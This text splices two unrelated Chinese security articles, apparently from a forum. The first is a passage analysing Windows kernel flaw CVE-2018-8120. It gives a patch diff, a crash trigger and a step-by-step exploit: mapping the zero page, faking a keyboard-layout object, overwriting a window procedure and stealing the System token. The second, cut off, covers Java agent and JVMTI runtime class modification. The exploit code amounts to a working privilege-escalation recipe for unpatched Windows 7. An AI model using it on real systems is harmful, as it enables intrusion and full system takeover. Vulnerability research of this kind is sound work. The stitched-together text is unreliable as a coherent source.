Labs 发布的信息，该漏洞正是 5 月补丁中修复的 CVE-2018-8120 漏洞。漏洞存在于内核函数 `SetImeInfoEx`
中，在未对目标窗口站 `tagWINDOWSTATION` 对象的指针成员域 `spklList`
指向地址进行有效性校验的情况下，函数对该地址直接进行读取访问。
窗口站 `tagWINDOWSTATION` 对象的指针成员域 `spklList` 存在指向 `NULL` 地址的可能性。如果用户进程创建指针成员域
`spklList` 指向 `NULL` 地址的窗口站对象，并将该窗口站与当前进程关联起来，在调用系统服务 `NtUserSetImeInfoEx`
设置输入法扩展信息的时候，内核函数 `SetImeInfoEx`
将访问位于用户进程地址空间中的零页内存；如果当前进程零页未被映射，函数的操作将引发缺页异常，导致系统 BSOD 的发生。
如果用户进程中的利用代码提前分配零页内存，使零页被映射，并构造位于零页中的伪造内核对象，将使内核函数误认为其中存储正确的键盘布局 `tagKL`
节点对象，实现任意地址写原语。利用实现的写原语覆盖特定内核对象的函数指针成员域，或修改代表内核态或用户态执行的相关标志位，继而实现任意代码执行的能力，最终实现内核提权。
## 0x1 补丁
通过将 5 月安全公告补丁程序中包含的 `win32k.sys` 模块文件和 4 月补丁程序中的文件进行对比，发现本次针对 `win32k.sys`
的更新主要修改了这些函数：
通过对这些函数的修改逐个进行检查，注意到函数 `SetImeInfoEx` 的代码块改动：
左侧是 5 月补丁文件中函数 `SetImeInfoEx` 的代码块跳转逻辑，右侧是 4
月更新中函数跳转逻辑。可以清楚地发现在更新后的函数起始位置存在新增的直接返回判断的代码块。更进一步地在 IDA 中观测该函数的细节：
补丁前：
if ( winSta )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
补丁后：
if ( winSta && (pklFirst = winSta->spklList) != 0 )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == pklFirst )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
else
{
bReturn = 0;
}
return bReturn;
通过对比两个代码片段，可发现补丁后的函数代码在函数开始的位置增加对成员域 `spklList` 值是否为 `0` 的校验，如果值为 `0`
则函数直接返回。无独有偶，本次更新修改函数列表中的函数 `ReorderKeyboardLayouts` 中也新增了对成员域 `spklList` 值是否为
`0` 的校验。因此有充分理由相信，这两处修补很可能修复了旧版本存在的空指针解引用的问题。
## 0x2 细节
根据前面的补丁对比可知，漏洞发生在函数 `SetImeInfoEx` 中。在 `win32k.sys` 模块中仅系统服务函数
`NtUserImeInfoEx` 存在对函数 `SetImeInfoEx` 的引用。系统服务函数 `NtUserImeInfoEx`
是操作系统提供的接口函数，用于将用户进程定义的输入法扩展信息对象设置在与当前进程关联的窗口站中的某个键盘布局节点对象中。
### 窗口站
窗口站是与进程关联的安全对象，包含剪贴板、原子表、以及其他更多的桌面对象。窗口站对象在内核中以结构体 `tagWINDOWSTATION` 实例的形式存在：
kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
其中的成员域 `spklList` 是指向关联的键盘布局 `tagKL` 对象链表首节点的指针。键盘布局 `tagKL` 结构体的定义如下：
kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
键盘布局结构体的成员域 `piiex` 指向关联的输入法扩展信息结构体对象。该成员域指向的对象将在函数 `SetImeInfoEx`
中被作为内存拷贝的目标地址。成员域 `pklNext` 和 `pklPrev`
作为指向后一个和前一个节点对象的指针，键盘布局对象链表将通过这两个指针成员域连接起来。
当某个窗口站对象被关联到指定进程时，其地址被存储在目标进程信息 `tagPROCESSINFO` 对象的成员域 `rpwinsta` 中。
进程默认关联的窗口站是由系统自动创建的交互式窗口站，其成员域 `spklList`
指向真实的键盘布局对象节点。当用户登录时，系统将交互式窗口站与用户登录会话关联起来；当第一次调用 USER32 或 GDI32
函数（除了窗口站和桌面函数）时，进程被自动建立和当前会话窗口站的连接。
当用户进程调用 `CreateWindowStation` 等函数创建新的窗口站时，最终在在内核中调用函数 `xxxCreateWindowStation`
执行窗口站创建的操作。在该函数执行期间，新的窗口站对象的成员域 `spklList` 并没有被初始化，将始终指向 `NULL` 地址。
### SetImeInfoEx
内核函数 `SetImeInfoEx` 用于将参数 `imeInfoEx` 指向的输入法扩展信息 `tagIMEINFOEX` 对象拷贝到目标键盘布局
`tagKL` 对象的成员域 `piiex` 指向的输入法信息对象缓冲区中。输入法扩展信息 `tagIMEINFOEX` 结构体的定义如下：
kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
在通过探针试探从参数传入的源输入法扩展信息 `tagIMEINFOEX` 对象内存地址之后，函数 `NtUserSetImeInfoEx` 通过调用函数
`_GetProcessWindowStation` 获取当前进程的窗口站对象指针，并将窗口站对象地址和从参数传入的源输入法扩展信息
`tagIMEINFOEX` 对象地址作为参数传入对函数 `SetImeInfoEx` 的调用。
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = imeInfoEx;
if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
v2 = (tagIMEINFOEX *)W32UserProbeAddress;
v3 = (char)v2->hkl;
qmemcpy(&v6, imeInfoEx, 0x15Cu);
ms_exc.registration.TryLevel = -2;
v4 = _GetProcessWindowStation(0);
bReturn = SetImeInfoEx(v4, &v6);
}
函数从参数 `winSta` 指向的窗口站对象中获取其成员域 `spklList`
指向的键盘布局链表的首节点地址。接下来函数从首节点开始遍历键盘布局对象链表，直到节点对象的成员域 `pklNext`
指回到首节点对象为止。函数判断每个被遍历的节点对象的成员域 `hkl` 是否与参数 `imeInfoEx` 指向的源输入法扩展信息对象的成员域 `hkl`
相等。这两个成员域都是类型为 `HKL` 的键盘布局对象句柄。
当匹配到相等的节点时，表示匹配成功。接下来函数判断目标键盘布局对象的成员域 `piiex` 是否指向真实的键盘布局对象缓冲区，且成员变量
`fLoadFlag` 值是否为 `FALSE`。如是，则成员域 `piiex` 指向的键盘布局对象缓冲区将作为目标地址，参数 `imeInfoEx`
指向的源输入法扩展信息对象的数据将被拷贝到目标地址中。
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
[...]
if ( winSta )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
}
根据前面补丁对比部分获得的信息，补丁程序在函数中增加对窗口站增加其成员域 `spklList`
是否为空的判断。这也就是说该成员域存在值为空的可能性。当其值为空时，函数在没有判断的情况下，直接读取零页数据。如果当前进程上下文不存在零页映射，那么函数将触发缺页异常，导致系统
BSOD 的发生。
## 0x3 触发
前面的部分分析了漏洞的细节，接下来根据已获得的条件尝试构造验证代码，以复现漏洞触发现场。
漏洞的触发需要进程关联成员域 `spklList` 指向空地址的窗口站对象。首先通过接口函数 `CreateWindowStation`
创建这样的窗口站，并通过调用函数 `SetProcessWindowStation`
将新创建的窗口站对象与当前进程关联起来。这最终在内核中使新的窗口站的地址被存储在当前进程的进程信息 `tagPROCESSINFO` 对象的成员域
`rpwinsta` 中。
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);
新创建的窗口站对象的指针成员域 `spklList` 指向空地址：
kd> dt win32k!tagWINDOWSTATION 85dfefa8
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x94b0eb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null)
[...]
接下来需要在用户进程中调用系统服务函数 `NtUserSetImeInfoEx` 以使执行流在内核中进入 `SetImeInfoEx`
函数的调用。由于系统服务函数 `NtUserSetImeInfoEx` 没有在任何用户态的系统模块中导出，因此只能通过手动发起系统调用的方式调用。
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
函数 `NtUserSetImeInfoEx` 只有一个参数，是指向源输入法扩展信息对象的指针。在用户进程中定义这样的源输入法扩展信息对象，并将地址传递给
`NtUserSetImeInfoEx` 函数的调用。
tagIMEINFOEX iiFaked = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
由于当前进程关联的窗口站对象的成员域 `spklList` 指向空地址，而空地址所在的零页内存此时并没有映射，因此当内核函数 `SetImeInfoEx`
在试图访问零页内存时，将触发访问违例的异常，导致系统 BSOD 的发生。
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014 cmp dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
# ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155
## 0x4 利用
前面的部分分析了漏洞的细节并构造了漏洞的验证代码。接下来将根据验证代码通过该漏洞实现内核提权的利用代码。
### 任意地址写的实现
窗口站对象属于内核对象，通常情况下用户进程只能通过特定的接口函数极为有限地控制内核对象的成员数据。当某个内核对象的某些成员指针意外地指向空地址这样的位于用户地址空间的内存地址时，用户进程中的利用代码将能够通过分配这样的内存页并通过巧妙的内存布局实现更大范围地控制内核对象成员数据的能力。
在利用代码中首先分配基地址位于零页的内存块，以使零页完成映射。
PVOID MemAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);
接下来构造零页中的数据使其满足函数 `SetImeInfoEx` 的访问逻辑。由于窗口站对象的成员域 `spklList` 指向的是 `tagKL`
类型的对象，因此在这里将 `NULL` 地址起始的内存块当作 `tagKL` 类型的内存对象，并初始化关键的几个成员域的值。
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC; // tagKL->piiex
函数 `SetImeInfoEx` 通过键盘布局节点对象的指针成员域 `pklNext` 作为索引遍历链表，并根据成员域 `hkl`
进行匹配，因此将该成员域初始化为首节点对象的指针，及当前伪造的键盘布局对象所在的 `NULL` 地址，并将成员域 `hkl` 初始化成与源输入法扩展信息
`tagIMEINFOEX` 对象的成员域 `hkl` 相同的值。
当匹配的键盘布局节点对象被找到之后，函数 `SetImeInfoEx` 将向目标键盘布局对象的指针成员域 `piiex`
指向的缓冲区中写入通过参数从用户进程中传入的源输入法信息 `tagIMEINFOEX` 对象中的数据，实现任意内存地址写原语。
### 任意代码执行的实现
内核提权最常见的方法是将当前进程的 `EPROCESS` 对象的指针成员域 `Token` 替换为系统进程的 `Token`
指针。然而到目前为止实现了任意内存地址写原语，却没有实现任意地址读原语，致使替换进程 `Token` 指针操作的难度增加。
可以利用任意地址写原语，将某内核对象的函数指针成员域替换为位于用户进程地址空间中由利用代码实现的函数的地址，并修改代表内核态或用户态执行的相关标志位，进而使该对象在处理相关事件时，在内核中直接执行到位于用户进程地址空间中的函数代码，并在该函数中最终实现内核提权。在本分析中通过替换目标窗口对象的消息处理函数指针成员域
`lpfnWndProc` 来实现。
接下来实现的大致思路是：创建普通窗口对象，将该窗口对象的成员数据填充到源输入法扩展信息 `tagIMEINFOEX` 对象中，置位其中的成员标志位
`bServerSideWindowProc` 并修改指针成员域 `lpfnWndProc` 的值；再使位于零页的伪造键盘布局 `tagKL` 对象的成员域
`piiex`
指向目标窗口对象的内核地址，将位于源输入法扩展信息对象中的被修改过的窗口对象成员数据覆盖到目标窗口对象的内存块中，实现对目标窗口对象的特定成员域的修改。
首先创建普通的窗口对象作为利用目标窗口对象。根据前面的分析，函数 `SetImeInfoEx` 在执行内存拷贝时是以 `tagIMEINFOEX`
对象的大小作为拷贝范围的。根据分析得知，输入法扩展信息 `tagIMEINFOEX` 对象的大小是 `0x15C` 字节，这远超窗口 `tagWND`
对象的 `0xB0`
字节大小。因此为避免执行内存拷贝时越界访问到后续的无关内存区域中，在注册窗口类时指定足够的扩展区域大小，以使最终分配的目标窗口对象的总大小超过
`0x15C` 字节。
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = 0x100;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
NULL,
WS_VISIBLE,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
接下来通过 `HMValidateHandle`
内核对象地址泄露技术获取创建的目标窗口对象的用户态映射地址和内核地址。关于这种内核对象地址泄露技术的详细信息可参考位于“链接”章节的相关文献。
从获取到的用户态映射地址的内存中拷贝 `tagIMEINFOEX`
结构体大小的数据到利用代码定义的源输入法扩展信息对象中。获取到的窗口对象内核地址将作为位于零页的伪造键盘布局对象的成员域 `piiex` 指向的内存地址。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
pwndHunt = head->pSelf;
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)pwndHunt; // tagKL->piiex
与输入法扩展信息 `tagIMEINFOEX` 对象的成员域 `hkl` 对应的窗口 `tagWND` 对象的成员域正好是其中存储的窗口对象句柄。
接下来修改位于源输入法扩展信息对象中的窗口对象成员数据，置位其中的成员标志位 `bServerSideWindowProc` 并修改指针成员域
`lpfnWndProc` 的值。
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)xxPayloadWindProc; //->lpfnWndProc
这样一来，当后续的对系统服务 `NtUserSetImeInfoEx`
的调用被执行时，将使位于源输入法扩展信息对象中的被修改过的窗口对象成员数据覆盖到目标窗口对象的内存块中。接下来再向目标窗口对象发送消息时，内核函数
`xxxSendMessageTimeout` 将根据置位的成员标志位 `bServerSideWindowProc` 直接在内核上下文执行自定义的
`xxPayloadWindProc` 消息处理函数。
### 事情并不总是按计划发展
但是当我在测试环境执行编译后的利用程序时，却发现并没有像预期的那样使目标窗口对象的关键成员域被修改。通过检查发现，内核函数在 `0x946d009a`
地址执行条件转移指令直接跳过了后续的拷贝操作：
win32k!SetImeInfoEx+0x31:
946d0096 83784800 cmp dword ptr [eax+48h],0
946d009a 7509 jne win32k!SetImeInfoEx+0x40 (946d00a5) Branch
win32k!SetImeInfoEx+0x37:
946d009c 57 push edi
946d009d 6a57 push 57h
946d009f 59 pop ecx
946d00a0 8bf8 mov edi,eax
946d00a2 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
946d00a4 5f pop edi
win32k!SetImeInfoEx+0x40:
946d00a5 33c0 xor eax,eax
946d00a7 40 inc eax
此处的条件转移指令用于判断位于目标输入法扩展信息 `tagIMEINFOEX` 对象 `+0x48` 字节偏移位置的成员域 `fLoadFlag`
的值，当该成员域值为 `FALSE` 时，函数才会执行后续的拷贝操作。
伪造的键盘布局 `tagKL` 对象的成员域 `piiex` 指向的是目标窗口对象的内核地址，该窗口对象 `+0x48` 字节偏移位置的成员域是成员结构体
`tagRECT rcWindow` 的子域 `right`，值不为零。
kd> dt win32k!tagWND -d rcWindow
+0x040 rcWindow : tagRECT
kd> ? poi(poi(0x0+0x2c)+0x48)
Evaluate expression: 132 = 00000084
kd> dt win32k!tagRECT poi(0x0+0x2c)+0x40
+0x000 left : 0n0
+0x004 top : 0n0
+0x008 right : 0n132
+0x00c bottom : 0n38
成员域 `rcWindow` 用于指定当前窗口对象矩形区域的坐标。其中子域 `left` 和 `top` 根据创建窗口对象时传入的参数 `X` 和 `Y`
而始终保持为 `0` 值；但无论当传入参数 `nWidth` 和 `nHeight` 设置何值都不能使子域 `right` 和 `bottom`
坐标值置零。
曾考虑使拷贝的区域基地址向前或向后稍微偏移，使作为目标的输入法扩展信息对象的成员域 `fLoadFlag` 正好能对应值为 `0`
的位置。但如果选择向后偏移，下一个值为 `0` 的位置在 `+0x20` 字节偏移处，如果内存拷贝从 `tagWND` 对象 `+0x20`
字节偏移位置开始拷贝，则将成员标志位 `bServerSideWindowProc` 置于拷贝范围之外，使该标志位无法在拷贝期间置位，因此不能成行。
通过用户进程创建的普通窗口对象在内核中被分配在进程关联的桌面堆中，而通过 `HMValidateHandle`
地址泄露技术获得的用户态映射是位于用户地址空间的桌面堆内存块的地址，两个地址是同一堆内存块的不同映射，内存块首地址之前 `8` 字节的位置是
`HEAP_ENTRY` 类型的头部结构。如果使拷贝的基地址向前偏移 `8` 字节，将使目标输入法扩展信息对象的成员域 `fLoadFlag`
对应窗口对象的成员结构体 `rcWindow` 的子域 `left`，这样将能够确保在函数 `SetImeInfoEx` 判断成员域 `fLoadFlag`
数值时顺利通过校验。但是这种方案增加了计算成本，始终不是最佳方案。
通过研究窗口创建的参数发现，当向 `CreateWindowEx` 函数调用传递的参数 `dwStyle` 值为 `WS_CLIPCHILDREN |
WS_CLIPSIBLINGS | WS_POPUP` 时，新创建的窗口对象将不包含任何边框，其矩形区域顶点坐标均能够被设置为 `0`
数值。通过这种方案将不需进行拷贝范围的向前偏移。
kd> ? poi(poi(0x0+0x2c)+0x48)
Evaluate expression: 0 = 00000000
kd> dt win32k!tagRECT poi(0x0+0x2c)+0x40
+0x000 left : 0n0
+0x004 top : 0n0
+0x008 right : 0n0
+0x00c bottom : 0n0
### 内核提权的实现
在将目标窗口对象的成员标志位 `bServerSideWindowProc`
置位、并将其窗口对象的消息处理函数成员域修改为用户进程自定义的消息处理函数地址之后，当用户进程向该窗口对象发送消息时，系统将在内核中直接进入目标消息处理函数中执行消息处理的任务。
在自定义的消息处理函数中，根据参数 `pwnd` 指向的当前窗口对象获取关联的线程信息 `tagTHREADINFO` 对象，并最终定位到当前进程的
`EPROCESS` 对象的地址。再根据 `EPROCESS` 链表定位到 System 进程的 `EPROCESS` 对象地址，获取其指针成员域
`Token` 的值，并将数值写入当前进程 `EPROCESS` 对象的成员域 `Token` 中。
接下来对 System 进程的目标 `Token` 对象指针引用计数进行自增，就大功告成了。当发送消息的函数返回到用户进程之后，创建新的命令提示符进程。
可以观测到新启动的命令提示符已属于 System 用户身份。
## 后记
根据安全公告中的信息，该漏洞发生在 Windows 7 SP1 和 Windows Server 2008 版本的操作系统中。这是由于从 Windows 8
开始，微软在新版本的操作系统引入新的缓解措施，使用户进程无法分配零页内存，这类漏洞在新系统中将无法成功利用。
截止本文章发表时间为止，VirusTotal 平台上已出现被多家反病毒厂商报毒为 CVE-2018-8120 利用的样本文件出现。
因此为防范利用该漏洞实施的攻击，确保不受该漏洞利用的影响，正在使用 Windows 7 操作系统的用户必须尽快安装官方最新发布的安全补丁。
## 0x5 链接
[1] MS.Windows.Win32k.NtUserSetImeInfoEx.Privilege.Escalation
<https://fortiguard.com/encyclopedia/ips/46028>
[2] Window Stations
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85).aspx>
[3] 对 UAF 漏洞 CVE-2015-2546 的分析和利用
<https://xiaodaozhi.com/exploit/122.html>
[4] sam-b/windows_kernel_address_leaks
<https://github.com/sam-b/windows_kernel_address_leaks>
[5] Mitigating the Exploitation of Vulnerabilities that Allow Diverting Kernel
Execution Flow in Windows
<https://securityintelligence.com/exploitation-vulnerabilities-allow-diverting-kernel-execution-flow-windows/>
[6] Window Styles
<https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85).aspx> | 社区文章 |
## 前言
Java原生提供了JVMTI(JVM Tool Interface)和Java Instrumentation
API，是插桩、调试或控制程序执行等行为的官方接口。
### Java Instrumentation API
也就是常说的Java agent。从Java SE
5开始，可以使用Java的Instrumentation接口来编写Agent。如果需要在目标JVM启动的同时加载Agent，可以选择实现下面的方法：
[1] public static void premain(String agentArgs, Instrumentation inst);
[2] public static void premain(String agentArgs);
JVM将首先寻找[1]，如果没有发现[1]，再寻找[2]。如果希望在目标JVM运行时加载Agent，则需要实现下面的方法：
[1] public static void agentmain(String agentArgs, Instrumentation inst);
[2] public static void agentmain(String agentArgs);
我们这里只讨论运行时加载的情况。Agent需要打包成一个jar包，在ManiFest属性中指定“Premain-Class”或者“Agent-Class”：
Premain-Class: class
Agent-Class: class
生成agent.jar之后，可以通过com.sun.tools.attach.VirtualMachine的loadAgent方法加载：
private void attachAgentToTargetJVM() throws Exception {
List<VirtualMachineDescriptor> virtualMachineDescriptors = VirtualMachine.list();
VirtualMachineDescriptor targetVM = null;
for (VirtualMachineDescriptor descriptor : virtualMachineDescriptors) {
if (descriptor.id().equals(configure.getPid())) {
targetVM = descriptor;
break;
}
}
if (targetVM == null) {
throw new IllegalArgumentException("could not find the target jvm by process id:" + configure.getPid());
}
VirtualMachine virtualMachine = null;
try {
virtualMachine = VirtualMachine.attach(targetVM);
virtualMachine.loadAgent("{agent}", "{params}");
} catch (Exception e) {
if (virtualMachine != null) {
virtualMachine.detach();
}
}
}
以上代码可以用反射实现，使用Java
agent这种方式可以修改已有方法，java.lang.instrument.Instrumentation提供了如下方法：
public interface Instrumentation {
/**
* 加入一个转换器Transformer，之后的所有的类加载都会被Transformer拦截。
* ClassFileTransformer类是一个接口，使用时需要实现它，该类只有一个方法，该方法传递类的信息，返回值是转换后的类的字节码文件。
*/
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
/**
* 对JVM已经加载的类重新触发类加载。使用的就是上面注册的Transformer。
* 该方法可以修改方法体、常量池和属性值，但不能新增、删除、重命名属性或方法，也不能修改方法的签名
*/
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
/**
*此方法用于替换类的定义，而不引用现有的类文件字节，就像从源代码重新编译以进行修复和继续调试时所做的那样。
*在要转换现有类文件字节的地方(例如在字节码插装中)，应该使用retransformClasses。
*该方法可以修改方法体、常量池和属性值，但不能新增、删除、重命名属性或方法，也不能修改方法的签名
*/
void redefineClasses(ClassDefinition... definitions)throws ClassNotFoundException, UnmodifiableClassException;
/**
* 获取一个对象的大小
*/
long getObjectSize(Object objectToSize);
/**
* 将一个jar加入到bootstrap classloader的 classpath里
*/
void appendToBootstrapClassLoaderSearch(JarFile jarfile);
/**
* 获取当前被JVM加载的所有类对象
*/
Class[] getAllLoadedClasses();
}
可以使用redefineClasses方法完成对类方法的修改，结合javassist可以说是非常方便：
public static void agentmain(String args, Instrumentation inst) throws Exception {
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals("com.huawei.xxxx")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(clazz.getName());
ctClass.stopPruning(true);
// javaassist freezes methods if their bytecode is saved
// defrost so we can still make changes.
if (ctClass.isFrozen()) {
ctClass.defrost();
}
CtMethod method; // populate this from ctClass however you wish
method.insertBefore("{ System.out.println(\"Wheeeeee!\"); }");
byte[] bytecode = ctClass.toBytecode();
ClassDefinition definition = new ClassDefinition(Class.forName(clazz.getName()), bytecode);
inst.redefineClasses(definition);
} catch (Exception var9) {
var9.printStackTrace();
}
}
}
}
以上代码实现在某个类的某个方法的入口处添加一语句 System.out.println("Wheeeeee!")。
JVM进程与启动agent attach的进程的用户ID必须相同，否则即使是root也不能attach其他用户JVM进程。Java
agent的方式需要额外的一个agent jar文件，加载agent的过程可以用反射完成。
### JVMTI
在Java SE 5以前，就支持通过C/C++语言实现JVMTI agent，上文讲的Java Instrumentation
API的底层就是通过这种方式实现的。开发agent时，需要包含位于JDK
include目录下的jvmti.h，这里面定义了使用JVMTI所用到的函数、事件、数据类型和常量，最后agent会被编译成一个动态库。若某个JVMTI代理需要动态attach，则需要导出具有如下原型的函数：
JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm, char *options, void *reserved)
相应的关闭函数
JNIEXPORT void JNICALL Agent_OnUnload(JavaVM *vm)
JVMTI的函数调用与JNI相似，可以通过一个接口指针来访问JVMTI的函数。JVMTI的接口指针称为环境指针(environment
pointer)，环境指针是指向执行环境的指针，其类型为jvmtiEnv*。执行环境包含了与当前JVMTI连接相关的额信息，其第一个值是指向函数表的指针，函数表是一个包含了JVMTI函数指针的数组，每个函数指针在函数表中按预定义的索引值排列。若使用C语言开发，则使用双向链表访问JVMTI函数，环境指针作为调用JVMTI函数的第一个参数传入，例如：
jvmtiEnv *jvmti;
...
jvmtiError err = (*jvmti)->GetLoadedClasses(jvmti, &class_count, &classes);
jvmtiEnv也同样提供了RedefineClasses函数，可以实现Java Instrumentation API同样的功能。
jvmtiError RedefineClasses(jint class_count,
const jvmtiClassDefinition* class_definitions) {
return functions->RedefineClasses(this, class_count, class_definitions);
}
而同时com.sun.tools.attach.VirtualMachine类也提供了对应的加载方法
public abstract void loadAgentLibrary(String agentLibrary,
String options)
throws AgentLoadException,
AgentInitializationException,
IOException
Loads an agent library.
A JVM TI client is called an agent. It is developed in a native language. A JVM TI agent is deployed in a platform specific manner but it is typically the platform equivalent of a dynamic library. This method causes the given agent library to be loaded into the target VM (if not already loaded). It then causes the target VM to invoke the Agent_OnAttach function as specified in the JVM Tools Interface specification. Note that the Agent_OnAttach function is invoked even if the agent library was loaded prior to invoking this method.
The agent library provided is the name of the agent library. It is interpreted in the target virtual machine in an implementation-dependent manner. Typically an implementation will expand the library name into an operating system specific file name. For example, on UNIX systems, the name foo might be expanded to libfoo.so, and located using the search path specified by the LD_LIBRARY_PATH environment variable.
If the Agent_OnAttach function in the agent library returns an error then an AgentInitializationException is thrown. The return value from the Agent_OnAttach can then be obtained by invoking the returnValue method on the exception.
Parameters:
agentLibrary - The name of the agent library.
options - The options to provide to the Agent_OnAttach function (can be null).
Throws:
AgentLoadException - If the agent library does not exist, or cannot be loaded for another reason.
AgentInitializationException - If the Agent_OnAttach function returns an error
IOException - If an I/O error occurs
NullPointerException - If agentLibrary is null.
See Also:
AgentInitializationException.returnValue()
总结起来，使用JVMTI底层的方式，需要编写提供一个额外的动态库文件（Java Instrumentation
API是提供一个jar包），可以实现修改已存在代码。
## 关于JNI
